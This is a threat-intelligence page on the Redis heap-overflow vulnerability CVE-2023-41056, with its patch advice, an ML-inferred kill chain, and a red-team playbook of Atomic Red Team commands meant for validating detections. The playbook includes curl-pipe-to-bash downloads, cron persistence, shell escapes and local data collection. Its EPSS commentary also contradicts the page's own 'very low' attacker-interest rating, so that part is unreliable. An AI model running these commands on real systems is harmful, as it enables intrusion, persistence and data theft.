CVE-2023-41056

HIGH Pub 10/01 Upd 17/06

Overview

This vulnerability is a heap overflow caused by improper handling of memory buffer resizing in Redis, an in-memory database with disk persistence. The root cause lies in an integer overflow during buffer size calculations, which leads to incorrect memory allocation and subsequent heap corruption. The affected component is the memory management subsystem responsible for resizing internal buffers.

Vulnerability Description

Redis is an in-memory database that persists on disk. Redis incorrectly handles resizing of memory buffers which can result in integer overflow that leads to heap overflow and potential remote code execution. This issue has been patched in version 7.0.15 and 7.2.4.

Impact

An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the Redis server, leveraging the heap overflow to overwrite critical memory structures. This can lead to full system compromise, data manipulation, or service disruption. The attack requires network access to the Redis service but no user interaction or privileges, as indicated by the CVSS vector (AV:N/AC:H/PR:N/UI:N). The high confidentiality, integrity, and availability impact ratings reflect the severity of potential outcomes.

Solution

Users should upgrade Redis to version 7.0.15 or later, or 7.2.4 or later, where the vulnerability has been patched. Detailed patch information and upgrade instructions are available in the Redis GitHub security advisory GHSA-xr47-pcmx-fq2m and release notes at https://github.com/redis/redis/releases/tag/7.0.15 and https://github.com/redis/redis/releases/tag/7.2.4. No workarounds are documented; applying the official patches is the recommended remediation.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Redis in-memory database arises from improper handling of memory buffer resizing, which can lead to an integer overflow. This flaw allows for a heap overflow condition, potentially enabling an attacker to execute arbitrary code remotely. The underlying issue stems from the way Redis allocates and manages memory buffers when resizing them, which can be exploited if an attacker manipulates the input data to trigger the overflow. This type of vulnerability is particularly dangerous as it can lead to severe consequences, including unauthorized access to sensitive data or complete control over the affected system.

Exploitation of this vulnerability can occur through various attack vectors. An attacker might send specially crafted commands to the Redis server, which could exploit the buffer resizing mechanism. Given that Redis is often deployed in environments where it is accessible over the network, an attacker with network access could leverage this vulnerability to execute malicious code. Scenarios may include using the Redis service in a web application context, where user input is processed and potentially manipulated to trigger the overflow. The risk is compounded in environments where Redis is not adequately secured, allowing for easy access to the service.

The real-world impact of this vulnerability is significant, particularly for organizations that rely on Redis for critical data storage and processing. A successful exploitation could lead to unauthorized access to sensitive information, data corruption, or service disruption. The potential for remote code execution introduces a high level of business risk, as attackers could deploy malware, exfiltrate data, or use the compromised system as a launchpad for further attacks within the network. Given the CVSS score of 8.1, this vulnerability is classified as high severity, indicating that organizations must prioritize its remediation to protect their assets and maintain operational integrity.

To detect and mitigate this vulnerability, organizations should first ensure they are running the latest patched versions of Redis, specifically versions 7.0.15 and 7.2.4, which address the issue. Regularly updating software to the latest stable releases is a fundamental practice in cybersecurity hygiene. Additionally, implementing network security measures such as firewalls and intrusion detection systems can help monitor and restrict unauthorized access to Redis instances. Employing best practices for Redis configuration, such as binding the service to localhost or using authentication mechanisms, can further reduce the attack surface. Organizations should also conduct regular security assessments and penetration testing to identify potential vulnerabilities in their systems proactively.

In conclusion, the vulnerability in Redis presents a serious threat that can lead to significant operational and reputational damage if left unaddressed. Understanding the technical details, potential attack vectors, and real-world implications is crucial for organizations that utilize Redis. By implementing robust detection and mitigation strategies, businesses can safeguard their systems against exploitation and ensure the integrity of their data and services.




CSURFACE threat intelligence has detected a moderate increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-41056, reflecting a growing likelihood of exploitation attempts targeting the Redis heap overflow vulnerability. Although no new exploit techniques or active campaigns have been identified by our telemetry, the upward trend in EPSS, now approaching the 92nd percentile, signals heightened attacker interest and potential preparatory activity. This shift underscores an elevated risk posture for organizations running vulnerable Redis versions, as the vulnerability’s remote code execution potential remains attractive for threat actors seeking to gain persistent access or disrupt critical services. While the absence of confirmed exploit deployments tempers immediate urgency, defenders should recognize that the increased EPSS score is an early warning indicator of possible exploitation escalation, warranting continued vigilance in monitoring and threat detection efforts.

Affected Products (4)

Vendor Product Version CPE
redis Redis Redis All cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
redis Redis Redis All cpe:2.3:a:redis:redis:*:*:*:*:*:*:*:*
fedoraproject Fedoraproject Fedora 38 cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*
fedoraproject Fedoraproject Fedora 39 cpe:2.3:o:fedoraproject:fedora:39:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Integer Overflow
100% integer_overflow
Buffer Overflow
96% buffer_overflow
Remote Code Execution
70% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS
T1005 Data from Local System Kill Chain collection ESXi, Linux, macOS, Network Devices, Windows

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-92 Forced Integer Overflow
37%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1005 Copy Apple Notes database files using AppleScript macOS Shell
This command will copy Apple Notes database files using AppleScript as seen in Atomic Stealer.
Command (Shell)
osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "#{destination_path}"' -e 'set notesFolderPath to (path to home folder as text) & "Library:Group Containers:group.com.apple.notes:"' -e 'set notesFolder to folder notesFolderPath' -e 'set notesFiles to {file "NoteStore.sqlite", file "NoteStore.sqlite-shm", file "NoteStore.sqlite-wal"} of notesFolder' -e 'repeat with aFile in notesFiles' -e 'duplicate aFile to folder destinationFolderPath with replacing' -e 'end' -e 'end tell'
T1005 Find and dump sqlite databases (Linux) Linux Bash
An adversary may know/assume that the user of a system uses sqlite databases which contain interest and sensitive data. In this test we download two databases and a sqlite dump script, then run a find command to find & dump the database content.
Command (Bash)
cd $HOME
curl -O #{remote_url}/art
curl -O #{remote_url}/gta.db
curl -O #{remote_url}/sqlite_dump.sh
chmod +x sqlite_dump.sh
find . ! -executable -exec bash -c 'if [[ "$(head -c 15 {} | strings)" == "SQLite format 3" ]]; then echo "{}"; ./sqlite_dump.sh {}; fi' \;
T1005 Search files of interest and save them to a single zip file (Windows) Windows PowerShell
This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
Command (PowerShell)
$startingDirectory = "#{starting_directory}"
$outputZip = "#{output_zip_folder_path}"
$fileExtensionsString = "#{file_extensions}" 
$fileExtensions = $fileExtensionsString -split ", "

New-Item -Type Directory $outputZip -ErrorAction Ignore -Force | Out-Null

Function Search-Files {
  param (
    [string]$directory
  )
  $files = Get-ChildItem -Path $directory -File -Recurse | Where-Object {
    $fileExtensions -contains $_.Extension.ToLower()
  }
  return $files
}

$foundFiles = Search-Files -directory $startingDirectory
if ($foundFiles.Count -gt 0) {
  $foundFilePaths = $foundFiles.FullName
  Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"

  Write-Host "Zip file created: $outputZip\data.zip"
  } else {
      Write-Host "No files found with the specified extensions."
  }
T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2023-41056
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/redis/redis/security/advisories/GHSA-xr47-pcmx-fq2m
github.com
GitHub CVE x_refsource_MISC
https://github.com/redis/redis/releases/tag/7.0.15
github.com
GitHub CVE x_refsource_MISC
https://github.com/redis/redis/releases/tag/7.2.4
lists.fedoraproject.org
GitHub CVE
https://lists.fedoraproject.org/archives/list/[email protected]/message/3JTGQJ2YLYB24B72I5B5H32YIMPVSWIT/
lists.fedoraproject.org
GitHub CVE
https://lists.fedoraproject.org/archives/list/[email protected]/message/JTWHPLC3RI67VNRDOIXLDVNC5YMYBMQN/
security.netapp.com
GitHub CVE
https://security.netapp.com/advisory/ntap-20240223-0003/